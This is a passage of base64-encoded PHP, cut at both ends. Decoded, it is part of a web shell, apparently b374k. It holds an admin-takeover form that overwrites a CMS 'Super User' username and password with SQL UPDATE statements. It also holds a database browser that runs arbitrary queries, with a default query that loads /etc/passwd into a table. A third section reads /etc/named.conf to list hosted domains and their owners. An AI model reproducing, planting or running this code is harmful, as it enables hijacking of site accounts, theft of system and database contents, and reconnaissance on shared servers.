tob3N0IDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nbG9jYWxob3N0JyBuYW1lPSdsb2NhbGhvc3QnIHR5cGU9J3RleHQnPiZuYnNwO2RhdGFiYXNlIDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIHNpemU9JzE1JyB2YWx1ZT0nZGF0YWJhc2UnIG5hbWU9J2RhdGFiYXNlJyB0eXBlPSd0ZXh0Jz4mbmJzcDt1c2VybmFtZSA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3VzZXInIG5hbWU9J3VzZXJuYW1lJyB0eXBlPSd0ZXh0Jz4mbmJzcDtwYXNzd29yZCA6Jm5ic3A7Jm5ic3A7PElOUFVUIGNsYXNzID0naW5wdXR6JyBzaXplPScxNScgdmFsdWU9J2RiX3Bhc3MnIG5hbWU9J3Bhc3N3b3JkJyB0eXBlPSd0ZXh0Jz48YnI+Jm5ic3A7Jm5ic3A7PGJyPk5ldyBVc2VybmFtZTombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J2FkbWluJyBzaXplPScxNScgdmFsdWU9J2syJz48YnI+PGJyPk5ldyBQYXNzd29yZDombmJzcDsmbmJzcDs8SU5QVVQgY2xhc3MgPSdpbnB1dHonIG5hbWU9J3B3ZCcgc2l6ZT0nMTUnIHZhbHVlPScxMjMxMjMnPjxicj48YnI+Jm5ic3A7Jm5ic3A7PElOUFVUIHZhbHVlPSdjaGFuZ2UnIGNsYXNzPSdpbnB1dHpidXQnIG5hbWU9J3NlbmQnIHR5cGU9J3N1Ym1pdCc+PC9GT1JNPiI7fWVsc2UgeyRwcmVmaXggPSAkX1BPU1RbJ3ByZWZpeCddOyRsb2NhbGhvc3QgPSAkX1BPU1RbJ2xvY2FsaG9zdCddOyRkYXRhYmFzZSAgPSAkX1BPU1RbJ2RhdGFiYXNlJ107JHVzZXJuYW1lICA9ICRfUE9TVFsndXNlcm5hbWUnXTskcGFzc3dvcmQgID0gJF9QT1NUWydwYXNzd29yZCddOyRhZG1pbiA9ICRfUE9TVFsnYWRtaW4nXTskcGQgPSAoJF9QT1NUWyJwd2QiXSk7JHB3ZCA9IG1kNSgkcGQpO0BteXNxbF9jb25uZWN0KCRsb2NhbGhvc3QsJHVzZXJuYW1lLCRwYXNzd29yZCkgb3IgZGllIChteXNxbF9lcnJvcigpKTtAbXlzcWxfc2VsZWN0X2RiKCRkYXRhYmFzZSkgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHVzZXJuYW1lID0nIi4kYWRtaW4uIicgV0hFUkUgbmFtZSA9ICdTdXBlciBVc2VyJyBvciBuYW1lID0gJ1N1cGVyIFV0aWxpc2F0ZXVyJyBvciBpZD0nNjInIikgb3IgZGllIChteXNxbF9lcnJvcigpKTskU1FMPUBteXNxbF9xdWVyeSgiVVBEQVRFICIuJHByZWZpeC4idXNlcnMgU0VUIHBhc3N3b3JkID0nIi4kcHdkLiInIFdIRVJFIG5hbWUgPSAnU3VwZXIgVXNlcicgb3IgbmFtZSA9ICdTdXBlciBVdGlsaXNhdGV1cicgb3IgaWQ9JzYyJyIpIG9yIGRpZSAobXlzcWxfZXJyb3IoKSk7aWYoJFNRTCkgZWNobyAiPGJyPjxicj48Y2VudGVyPjxoMT5Eb25lLi4uIGdvIGFuZCBsb2dpbjwvaDE+PC9jZW50ZXI+Ijt9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdteXNxbCcpKXtpZihpc3NldCgkX0dFVFsnc3FsaG9zdCddKSAmJiBpc3NldCgkX0dFVFsnc3FsdXNlciddKSAmJiBpc3NldCgkX0dFVFsnc3FscGFzcyddKSAmJiBpc3NldCgkX0dFVFsnc3FscG9ydCddKSl7JHNxbGhvc3QgPSAkX0dFVFsnc3FsaG9zdCddOyRzcWx1c2VyID0gJF9HRVRbJ3NxbHVzZXInXTskc3FscGFzcyA9ICRfR0VUWydzcWxwYXNzJ107JHNxbHBvcnQgPSAkX0dFVFsnc3FscG9ydCddO2lmKCRjb24gPSBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdC4iOiIuJHNxbHBvcnQsJHNxbHVzZXIsJHNxbHBhc3MpKXskbXNnIC49ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzo0cHggMTBweCAwIDEwcHg7Jz4iOyRtc2cgLj0gIjxwPkNvbm5lY3RlZCB0byAiLiRzcWx1c2VyLiI8c3BhbiBjbGFzcz0nZ2F5YSc+QDwvc3Bhbj4iLiRzcWxob3N0LiI6Ii4kc3FscG9ydDskbXNnIC49ICImbmJzcDsmbmJzcDs8c3BhbiBjbGFzcz0nZ2F5YSc+LSZndDs8L3NwYW4+Jm5ic3A7Jm5ic3A7PGEgaHJlZj0nP3k9Ii4kcHdkLiImYW1wO3g9bXlzcWwmYW1wO3NxbGhvc3Q9Ii4kc3FsaG9zdC4iJmFtcDtzcWx1c2VyPSIuJHNxbHVzZXIuIiZhbXA7c3FscGFzcz0iLiRzcWxwYXNzLiImYW1wO3NxbHBvcnQ9Ii4kc3FscG9ydC4iJmFtcDsnPlsgZGF0YWJhc2VzIF08L2E+IjsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJz4iLmh0bWxzcGVjaWFsY2hhcnMoJF9HRVRbJ2RiJ10pLiI8L2E+IjsNCmlmKGlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJG1zZyAuPSAiJm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPi0mZ3Q7PC9zcGFuPiZuYnNwOyZuYnNwOzxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kX0dFVFsnZGInXS4iJmFtcDt0YWJsZT0iLiRfR0VUWyd0YWJsZSddLiInPiIuaHRtbHNwZWNpYWxjaGFycygkX0dFVFsndGFibGUnXSkuIjwvYT4iOyRtc2cgLj0gIjwvcD48cD52ZXJzaW9uIDogIi5teXNxbF9nZXRfc2VydmVyX2luZm8oJGNvbikuIiBwcm90byAiLm15c3FsX2dldF9wcm90b19pbmZvKCRjb24pLiI8L3A+IjskbXNnIC49ICI8L2Rpdj4iO2VjaG8gJG1zZzsNCmlmKGlzc2V0KCRfR0VUWydkYiddKSAmJiAoIWlzc2V0KCRfR0VUWyd0YWJsZSddKSkgJiYgKCFpc3NldCgkX0dFVFsnc3FscXVlcnknXSkpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgYjM3NGtfdGFibGU7XG5DUkVBVEUgVEFCTEUgYGIzNzRrX3RhYmxlYCAoIGBmaWxlYCBMT05HQkxPQiBOT1QgTlVMTCApO1xuTE9BRCBEQVRBIElORklMRSAnL2V0Yy9wYXNzd2QnXG5JTlRPIFRBQkxFIGIzNzRrX3RhYmxlO1NFTEVDVCAqIEZST00gYjM3NGtfdGFibGU7XG5EUk9QIFRBQkxFIElGIEVYSVNUUyBiMzc0a190YWJsZTsiOyRtc2cgPSAiPGRpdiBzdHlsZT0nd2lkdGg6OTklO3BhZGRpbmc6MCAxMHB4Oyc+PGZvcm0gYWN0aW9uPSc/JyBtZXRob2Q9J2dldCc+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+JHF1ZXJ5PC90ZXh0YXJlYT48L3A+IDxwPjxpbnB1dCBjbGFzcz0naW5wdXR6YnV0JyBzdHlsZT0nd2lkdGg6ODBweDsnIG5hbWU9J3N1Ym1pdHF1ZXJ5JyB0eXBlPSdzdWJtaXQnIHZhbHVlPSdHbyAhJyAvPjwvcD4gPC9mb3JtPjwvZGl2PiAiOyR0YWJsZXMgPSBhcnJheSgpOyRtc2cgLj0gIjx0YWJsZSBjbGFzcz0nZXhwbG9yZScgc3R5bGU9J3dpZHRoOjk5JTsnPjx0cj48dGg+YXZhaWxhYmxlIHRhYmxlcyBvbiAiLiRkYi4iPC90aD48L3RyPiI7JGhhc2lsID0gQG15c3FsX2xpc3RfdGFibGVzKCRkYiwkY29uKTsNCndoaWxlKGxpc3QoJHRhYmxlKSA9IEBteXNxbF9mZXRjaF9yb3coJGhhc2lsKSl7QGFycmF5X3B1c2goJHRhYmxlcywkdGFibGUpO30gQHNvcnQoJHRhYmxlcyk7DQpmb3JlYWNoKCR0YWJsZXMgYXMgJHRhYmxlKXskbXNnIC49ICI8dHI+PHRkPjxhIGhyZWY9Jz95PSIuJHB3ZC4iJmFtcDt4PW15c3FsJmFtcDtzcWxob3N0PSIuJHNxbGhvc3QuIiZhbXA7c3FsdXNlcj0iLiRzcWx1c2VyLiImYW1wO3NxbHBhc3M9Ii4kc3FscGFzcy4iJmFtcDtzcWxwb3J0PSIuJHNxbHBvcnQuIiZhbXA7ZGI9Ii4kZGIuIiZhbXA7dGFibGU9Ii4kdGFibGUuIic+JHRhYmxlPC9hPjwvdGQ+PC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iO30gDQplbHNlaWYoaXNzZXQoJF9HRVRbJ3RhYmxlJ10pICYmICghaXNzZXQoJF9HRVRbJ3NxbHF1ZXJ5J10pKSl7DQokZGIgPSAkX0dFVFsnZGInXTskdGFibGUgPSAkX0dFVFsndGFibGUnXTskcXVlcnkgPSAiU0VMRUNUICogRlJPTSAiLiRkYi4iLiIuJHRhYmxlLiIgTElNSVQgMCwxMDA7IjsNCiRtc2dxID0gIjxkaXYgc3R5bGU9J3dpZHRoOjk5JTtwYWRkaW5nOjAgMTBweDsnPjxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IDxwPjx0ZXh0YXJlYSBuYW1lPSdzcWxxdWVyeScgY2xhc3M9J291dHB1dCcgc3R5bGU9J3dpZHRoOjk4JTtoZWlnaHQ6ODBweDsnPiIuJHF1ZXJ5LiI8L3RleHRhcmVhPjwvcD4gPHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPiA8L2Zvcm0+PC9kaXY+ICI7DQokY29sdW1ucyA9IGFycmF5KCk7JG1zZyA9ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz4iOyRoYXNpbCA9IEBteXNxbF9xdWVyeSgiU0hPVyBGSUVMRFMgRlJPTSAiLiRkYi4iLiIuJHRhYmxlKTt3aGlsZShsaXN0KCRjb2x1bW4pID0gQG15c3FsX2ZldGNoX3JvdygkaGFzaWwpKXsNCiRtc2cgLj0gIjx0aD4kY29sdW1uPC90aD4iOyRrb2x1bSA9ICRjb2x1bW47fSRtc2cgLj0gIjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfcXVlcnkoIlNFTEVDVCBjb3VudCgqKSBGUk9NICIuJGRiLiIuIi4kdGFibGUpOw0KbGlzdCgkdG90YWwpID0gbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCk7DQppZihpc3NldCgkX0dFVFsneiddKSkgJHBhZ2UgPSAoaW50KSAkX0dFVFsneiddOw0KZWxzZSAkcGFnZSA9IDE7JHBhZ2VudW0gPSAxMDA7JHRvdHBhZ2UgPSBjZWlsKCR0b3RhbCAvICRwYWdlbnVtKTskc3RhcnQgPSAoKCRwYWdlIC0gMSkgKiAkcGFnZW51bSk7JGhhc2lsID0gQG15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBGUk9NICIuJGRiLiIuIi4kdGFibGUuIiBMSU1JVCAiLiRzdGFydC4iLCIuJHBhZ2VudW0pOw0Kd2hpbGUoJGRhdGFzID0gQG15c3FsX2ZldGNoX2Fzc29jKCRoYXNpbCkpeyRtc2cgLj0gIjx0cj4iO2ZvcmVhY2goJGRhdGFzIGFzICRkYXRhKXtpZih0cmltKCRkYXRhKSA9PSAiIikgDQokZGF0YSA9ICImbmJzcDsiOyRtc2cgLj0gIjx0ZD4kZGF0YTwvdGQ+Ijt9JG1zZyAuPSAiPC90cj4iO30gJG1zZyAuPSAiPC90YWJsZT4iOyRoZWFkID0gIjxkaXYgc3R5bGU9J3BhZGRpbmc6MTBweCAwIDAgNnB4Oyc+IDxmb3JtIGFjdGlvbj0nPycgbWV0aG9kPSdnZXQnPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd5JyB2YWx1ZT0nIi4kcHdkLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsaG9zdCcgdmFsdWU9JyIuJHNxbGhvc3QuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FsdXNlcicgdmFsdWU9JyIuJHNxbHVzZXIuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscGFzcycgdmFsdWU9JyIuJHNxbHBhc3MuIicgLz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nZGInIHZhbHVlPSciLiRkYi4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd0YWJsZScgdmFsdWU9JyIuJHRhYmxlLiInIC8+IFBhZ2UgPHNlbGVjdCBjbGFzcz0naW5wdXR6JyBuYW1lPSd6JyBvbmNoYW5nZT0ndGhpcy5mb3JtLnN1Ym1pdCgpOyc+IjsNCmZvcigkaSA9IDE7JGkgPD0gJHRvdHBhZ2U7JGkrKyl7JGhlYWQgLj0gIjxvcHRpb24gdmFsdWU9JyIuJGkuIic+Ii4kaS4iPC9vcHRpb24+IjsNCmlmKCRpID09ICRfR0VUWyd6J10pICRoZWFkIC49ICI8b3B0aW9uIHZhbHVlPSciLiRpLiInIHNlbGVjdGVkPSdzZWxlY3RlZCc+Ii4kaS4iPC9vcHRpb24+Ijt9ICRoZWFkIC49ICI8L3NlbGVjdD48bm9zY3JpcHQ+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9ub3NjcmlwdD48L2Zvcm0+PC9kaXY+IjskbXNnID0gJG1zZ3EuJGhlYWQuJG1zZzt9IA0KZWxzZWlmKGlzc2V0KCRfR0VUWydzdWJtaXRxdWVyeSddKSAmJiAoJF9HRVRbJ3NxbHF1ZXJ5J10gIT0gIiIpKXskZGIgPSAkX0dFVFsnZGInXTskcXVlcnkgPSBtYWdpY2Jvb20oJF9HRVRbJ3NxbHF1ZXJ5J10pOw0KJG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPiA8aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSd4JyB2YWx1ZT0nbXlzcWwnIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbGhvc3QnIHZhbHVlPSciLiRzcWxob3N0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBvcnQnIHZhbHVlPSciLiRzcWxwb3J0LiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHBhc3MnIHZhbHVlPSciLiRzcWxwYXNzLiInIC8+IDxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz4gPHA+PHRleHRhcmVhIG5hbWU9J3NxbHF1ZXJ5JyBjbGFzcz0nb3V0cHV0JyBzdHlsZT0nd2lkdGg6OTglO2hlaWdodDo4MHB4Oyc+Ii4kcXVlcnkuIjwvdGV4dGFyZWE+PC9wPiA8cD48aW5wdXQgY2xhc3M9J2lucHV0emJ1dCcgc3R5bGU9J3dpZHRoOjgwcHg7JyBuYW1lPSdzdWJtaXRxdWVyeScgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgLz48L3A+IDwvZm9ybT48L2Rpdj4gIjsNCkBteXNxbF9zZWxlY3RfZGIoJGRiKTskcXVlcnlzID0gZXhwbG9kZSgiOyIsJHF1ZXJ5KTsNCmZvcmVhY2goJHF1ZXJ5cyBhcyAkcXVlcnkpe2lmKHRyaW0oJHF1ZXJ5KSAhPSAiIil7JGhhc2lsID0gbXlzcWxfcXVlcnkoJHF1ZXJ5KTsNCmlmKCRoYXNpbCl7JG1zZyAuPSAiPHAgc3R5bGU9J3BhZGRpbmc6MDttYXJnaW46MjBweCA2cHggMCA2cHg7Jz4iLiRxdWVyeS4iOyZuYnNwOyZuYnNwOyZuYnNwOzxzcGFuIGNsYXNzPSdnYXlhJz5bPC9zcGFuPiBvayA8c3BhbiBjbGFzcz0nZ2F5YSc+XTwvc3Bhbj48L3A+IjskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+IjsNCmZvcigkaT0wOyRpPEBteXNxbF9udW1fZmllbGRzKCRoYXNpbCk7JGkrKykgDQokbXNnIC49ICI8dGg+Ii5odG1sc3BlY2lhbGNoYXJzKEBteXNxbF9maWVsZF9uYW1lKCRoYXNpbCwkaSkpLiI8L3RoPiI7JG1zZyAuPSAiPC90cj4iOw0KZm9yKCRpPTA7JGk8QG15c3FsX251bV9yb3dzKCRoYXNpbCk7JGkrKykgDQp7JHJvd3M9QG15c3FsX2ZldGNoX2FycmF5KCRoYXNpbCk7JG1zZyAuPSAiPHRyPiI7DQpmb3IoJGo9MDskajxAbXlzcWxfbnVtX2ZpZWxkcygkaGFzaWwpOyRqKyspIHsNCmlmKCRyb3dzWyRqXSA9PSAiIikgJGRhdGF6ID0gIiZuYnNwOyI7DQplbHNlICRkYXRheiA9ICRyb3dzWyRqXTskbXNnIC49ICI8dGQ+Ii4kZGF0YXouIjwvdGQ+Ijt9ICRtc2cgLj0gIjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KZWxzZSAkbXNnIC49ICI8cCBzdHlsZT0ncGFkZGluZzowO21hcmdpbjoyMHB4IDZweCAwIDZweDsnPiIuJHF1ZXJ5LiI7Jm5ic3A7Jm5ic3A7Jm5ic3A7PHNwYW4gY2xhc3M9J2dheWEnPls8L3NwYW4+IGVycm9yIDxzcGFuIGNsYXNzPSdnYXlhJz5dPC9zcGFuPjwvcD4iO30gfSB9IA0KZWxzZSB7JHF1ZXJ5ID0gIlNIT1cgUFJPQ0VTU0xJU1Q7XG5TSE9XIFZBUklBQkxFUztcblNIT1cgU1RBVFVTOyI7JG1zZyA9ICI8ZGl2IHN0eWxlPSd3aWR0aDo5OSU7cGFkZGluZzowIDEwcHg7Jz48Zm9ybSBhY3Rpb249Jz8nIG1ldGhvZD0nZ2V0Jz4gPGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0neScgdmFsdWU9JyIuJHB3ZC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3gnIHZhbHVlPSdteXNxbCcgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxob3N0JyB2YWx1ZT0nIi4kc3FsaG9zdC4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3NxbHVzZXInIHZhbHVlPSciLiRzcWx1c2VyLiInIC8+PGlucHV0IHR5cGU9J2hpZGRlbicgbmFtZT0nc3FscG9ydCcgdmFsdWU9JyIuJHNxbHBvcnQuIicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdzcWxwYXNzJyB2YWx1ZT0nIi4kc3FscGFzcy4iJyAvPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J2RiJyB2YWx1ZT0nIi4kZGIuIicgLz48cD48dGV4dGFyZWEgbmFtZT0nc3FscXVlcnknIGNsYXNzPSdvdXRwdXQnIHN0eWxlPSd3aWR0aDo5OCU7aGVpZ2h0OjgwcHg7Jz4iLiRxdWVyeS4iPC90ZXh0YXJlYT48L3A+PHA+PGlucHV0IGNsYXNzPSdpbnB1dHpidXQnIHN0eWxlPSd3aWR0aDo4MHB4OycgbmFtZT0nc3VibWl0cXVlcnknIHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvICEnIC8+PC9wPjwvZm9ybT48L2Rpdj4gIjskZGJzID0gYXJyYXkoKTskbXNnIC49ICI8dGFibGUgY2xhc3M9J2V4cGxvcmUnIHN0eWxlPSd3aWR0aDo5OSU7Jz48dHI+PHRoPmF2YWlsYWJsZSBkYXRhYmFzZXM8L3RoPjwvdHI+IjskaGFzaWwgPSBAbXlzcWxfbGlzdF9kYnMoJGNvbik7DQp3aGlsZShsaXN0KCRkYikgPSBAbXlzcWxfZmV0Y2hfcm93KCRoYXNpbCkpe0BhcnJheV9wdXNoKCRkYnMsJGRiKTt9IEBzb3J0KCRkYnMpO2ZvcmVhY2goJGRicyBhcyAkZGIpew0KJG1zZyAuPSAiPHRyPjx0ZD48YSBocmVmPSc/eT0iLiRwd2QuIiZhbXA7eD1teXNxbCZhbXA7c3FsaG9zdD0iLiRzcWxob3N0LiImYW1wO3NxbHVzZXI9Ii4kc3FsdXNlci4iJmFtcDtzcWxwYXNzPSIuJHNxbHBhc3MuIiZhbXA7c3FscG9ydD0iLiRzcWxwb3J0LiImYW1wO2RiPSIuJGRiLiInPiRkYjwvYT48L3RkPjwvdHI+Ijt9ICRtc2cgLj0gIjwvdGFibGU+Ijt9IA0KQG15c3FsX2Nsb3NlKCRjb24pO30gZWxzZSAkbXNnID0gIjxwIHN0eWxlPSd0ZXh0LWFsaWduOmNlbnRlcjsnPmNhbid0IGNvbm5lY3Q8L3A+IjtlY2hvICRtc2c7fSBlbHNlez8+IA0KPGZvcm0gYWN0aW9uPSI/IiBtZXRob2Q9ImdldCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieSIgdmFsdWU9Ijw/cGhwIGVjaG8gJHB3ZDs/PiIgLz4gPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0ieCIgdmFsdWU9Im15c3FsIiAvPjxicj48YnI+PGJyPjx0YWJsZSBjbGFzcz0idGFibmV0IiBzdHlsZT0id2lkdGg6MzAwcHg7Ij4gPHRyPjx0aCBjb2xzcGFuPSIyIj5NeVNRTCBDb25uZWN0PC90aD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO0hvc3Q8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsaG9zdCIgdmFsdWU9ImxvY2FsaG9zdCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7VXNlcm5hbWU8L3RkPjx0ZD48aW5wdXQgc3R5bGU9IndpZHRoOjIyMHB4OyIgY2xhc3M9ImlucHV0eiIgdHlwZT0idGV4dCIgbmFtZT0ic3FsdXNlciIgdmFsdWU9InJvb3QiIC8+PC90ZD48L3RyPiA8dHI+PHRkPiZuYnNwOyZuYnNwO1Bhc3N3b3JkPC90ZD48dGQ+PGlucHV0IHN0eWxlPSJ3aWR0aDoyMjBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBhc3MiIHZhbHVlPSJwYXNzd29yZCIgLz48L3RkPjwvdHI+IDx0cj48dGQ+Jm5ic3A7Jm5ic3A7UG9ydDwvdGQ+PHRkPjxpbnB1dCBzdHlsZT0id2lkdGg6ODBweDsiIGNsYXNzPSJpbnB1dHoiIHR5cGU9InRleHQiIG5hbWU9InNxbHBvcnQiIHZhbHVlPSIzMzA2IiAvPiZuYnNwOzxpbnB1dCBzdHlsZT0id2lkdGg6MTklOyIgY2xhc3M9ImlucHV0emJ1dCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iR28gISIgbmFtZT0ic3VibWl0c3FsIiAvPjwvdGQ+PC90cj48L3RhYmxlPjwvZm9ybT4gDQo8P3BocCB9fQ0KZWxzZWlmKGlzc2V0KCRfR0VUWyd4J10pICYmICgkX0dFVFsneCddID09ICdkb21haW5zJykpe2VjaG8gIjxicj48YnI+PHAgYWxpZ249Y2VudGVyPkRvbWFpbnMgYW5kIFVzZXJzPC9wPiI7JGQwbWFpbnMgPSBAZmlsZSgiL2V0Yy9uYW1lZC5jb25mIik7DQppZighJGQwbWFpbnMpe2RpZSgiPGNlbnRlcj5FcnJvciA6IGkgY2FuJ3QgcmVhZCBbIC9ldGMvbmFtZWQuY29uZiBdPC9jZW50ZXI+Iik7fWVjaG8gJzx0YWJsZSBpZD0ib3V0cHV0Ij48dHIgYmdjb2xvcj0jY2VjZWNlPjx0ZD5Eb21haW5zPC90ZD48dGQ+dXNlcnM8L3RkPjwvdHI+JzsNCmZvcmVhY2goJGQwbWFpbnMgYXMgJGQwbWFpbil7aWYoZXJlZ2koInpvbmUiLCRkMG1haW4pKXtwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTtmbHVzaCgpO2lmKHN0cmxlbih0cmltKCRkb21haW5zWzFdWzBdKSkgPiAyKXskdXNlciA9IHBvc2l4X2dldHB3dWlkKEBmaWxlb3duZXIoIi9ldGMvdmFsaWFzZXMvIi4kZG9tYWluc1sxXVswXSkpO2VjaG8gIjx0cj48dGQ+PGEgaHJlZj1odHRwOi8vd3d3LiIuJGRvbWFpbnNbMV1bMF0uIi8+Ii4kZG9tYWluc1sxXVswXS4iPC9hPjwvdGQ+PHRkPiIuJHVzZXJbJ25hbWUnXS4iPC90ZD48L3RyPiI7Zmx1c2goKTt9fX19DQplbHNlaWYoaXNzZXQoJF9HRVRbJ3gnXSkgJiYgKCRfR0VUWyd4J10gP